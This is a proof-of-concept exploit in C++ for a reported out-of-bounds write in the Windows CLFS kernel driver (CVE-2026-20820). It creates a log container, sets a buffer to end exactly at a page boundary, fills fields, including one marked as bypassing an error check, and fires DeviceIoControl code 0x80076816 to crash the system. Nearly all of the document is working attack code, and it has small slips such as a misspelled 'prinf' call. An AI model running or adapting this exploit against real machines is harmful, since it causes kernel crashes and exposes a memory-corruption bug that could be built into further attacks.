DoS PoC for CVE-2026-20820: Out-of-bounds write in clfs.sys!CClfsRequest::ScanContainers via DeviceIoControl (0x80076816).

cve-2026-20820_DoS.cpp

#include <windows.h>
#include <ioapiset.h>
#include <clfsw32.h>

#pragma comment(lib, "Clfsw32.lib")

int main(void) {
    // Open log file
    HANDLE logHndl = CreateLogFile(L"LOG:C:\\Logs\\clfsPoC",
        GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ |
        FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_ALWAYS,
        0);
    if (logHndl == INVALID_HANDLE_VALUE) {
        printf("Error CreateLogFile %d\n", GetLastError());
        return 1;
    }
    printf("Log file created\n");
    
    ULONGLONG containerSize = (512ull * 1024); // Make 512KiB containers, minimum size accepted
    wchar_t cPath [] = L"C:\\Logs\\C.clfs";
    if (!AddLogContainer(logHndl, &containerSize, cPath, NULL)) {
        printf("Error AddLogContainer %d\n", GetLastError());
        return 1;
    }
    printf("Container added\n");

    SYSTEM_INFO si;
    GetSystemInfo(&si);
    SIZE_T page = si.dwPageSize; // typically 4096 bytes
    BYTE* base = (BYTE*)VirtualAlloc(NULL, page, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!base) { 
        printf("Error VirtualAlloc %d\n", GetLastError());
        return 1;
    }
    prinf("Buffer memory allocated\n");

    SIZE_T cInfoSize = 0x240;
    // Choose buf so that buf + 0x240 == next page boundary
    BYTE* pageEnd = base + page;          // end of the first page
    BYTE* outBuff = pageEnd - cInfoSize;      // buf + 0x240 == pageEnd

    memset(outBuff, 0, cInfoSize);
    // Max Container to scan
    *(UINT*)(outBuff + 0x18) = 1;
    // Scan mode
    *(ULONG*)(outBuff + 0x28) = 0x10 | 0x6;
    // First container to scan
    *(ULONG*)(outBuff + 0x10) = 0;
    // Bypass an error check
    *(ULONGLONG*)(outBuff + 0x30) = 1;

    printf("Starting exploit\n");
    DWORD bytes = 0;
    DeviceIoControl(logHndl, 0x80076816, NULL, 0, outBuff, cInfoSize, &bytes, NULL);

	return 0;
}